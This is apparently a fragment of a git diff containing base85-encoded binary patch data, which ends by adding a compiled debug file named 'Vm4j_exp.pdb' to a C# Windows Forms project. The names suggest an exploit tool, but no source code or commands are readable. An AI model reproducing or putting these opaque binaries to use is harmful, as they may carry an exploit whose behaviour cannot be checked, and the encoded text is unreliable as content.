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 Z=v2|%{~tKe{ix;Tr1ImR|L-{P{{Z@ZW^w=k literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.pdb b/Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.pdb new file mode 100644 index 0000000000000000000000000000000000000000..c99c968a0dcc42e6e197cb9ca33c52d90bf81e97 GIT binary patch literal 79360 zcmeI531C&lxyMgJ2w@YVqKKdgg0hAL2m}Sm2C@YZ5D|lLlUyJQNle0`C|)-}q!ty| z;=cA3ciToq#iigbw$`Vuui}nRtEgzL5B2^2=gi!k8!nKgbfAY3b?h+jPmF>fquXCl2@pRKc~}RUX9t{yS*k zhab{SG5)gchYq^@A?E&bG>{e1hIjnu6g*Z^R|DS^9Y1n&t3M>Ko$73wbW8kAPmdaZ z%|{>nK6&j(@4oGID`qCo{X_DjeH`bTq_K~7*xGwlP4WS`D=%KM--TCgI4H%mpZ&jE z_4}{>>&&11ZSa5(vL>E$?Uwap^KQCy;*s~ScrN+(`4>-#XlAjSW}|_os{fqs6U!%# ze=+Ws=e~Wrqx0u?e%_<~@{8|z`Kl>b?`n1Z%oopYHU*AlBtipCRsZLw58d+Nw4pDg z-m-ev;)_2x>&Y$MW~44TIpeCQUn#q5+}T%0BpSPEHX3OATt=L019T)yBAh0M1Q%O` z@2$Td-N4wNpR@*I_5YKuz8{_WX!W1Q2;lGkKRS_E1kF|h(dvIdtp1yAeKmE)n#%r* z+5b&lGyk0UnyUU|_WwVpzM49frmFwNA77IA;LMH_cdXc)yXcC~(?4F>A$wWkfoH$h zBkP@CBt6FNQOq?*4K!8#uQ>nXr=H)^b#b4XOS@e%VZ@#9-~ZdkHq83+f$JAPeaO+b zFPqyO%O1-Ud%8`u|NH*quiV#p((+S2IcCXgOD_tX`R0_Qz_c%N-l+Miw0-;ypT8Z` 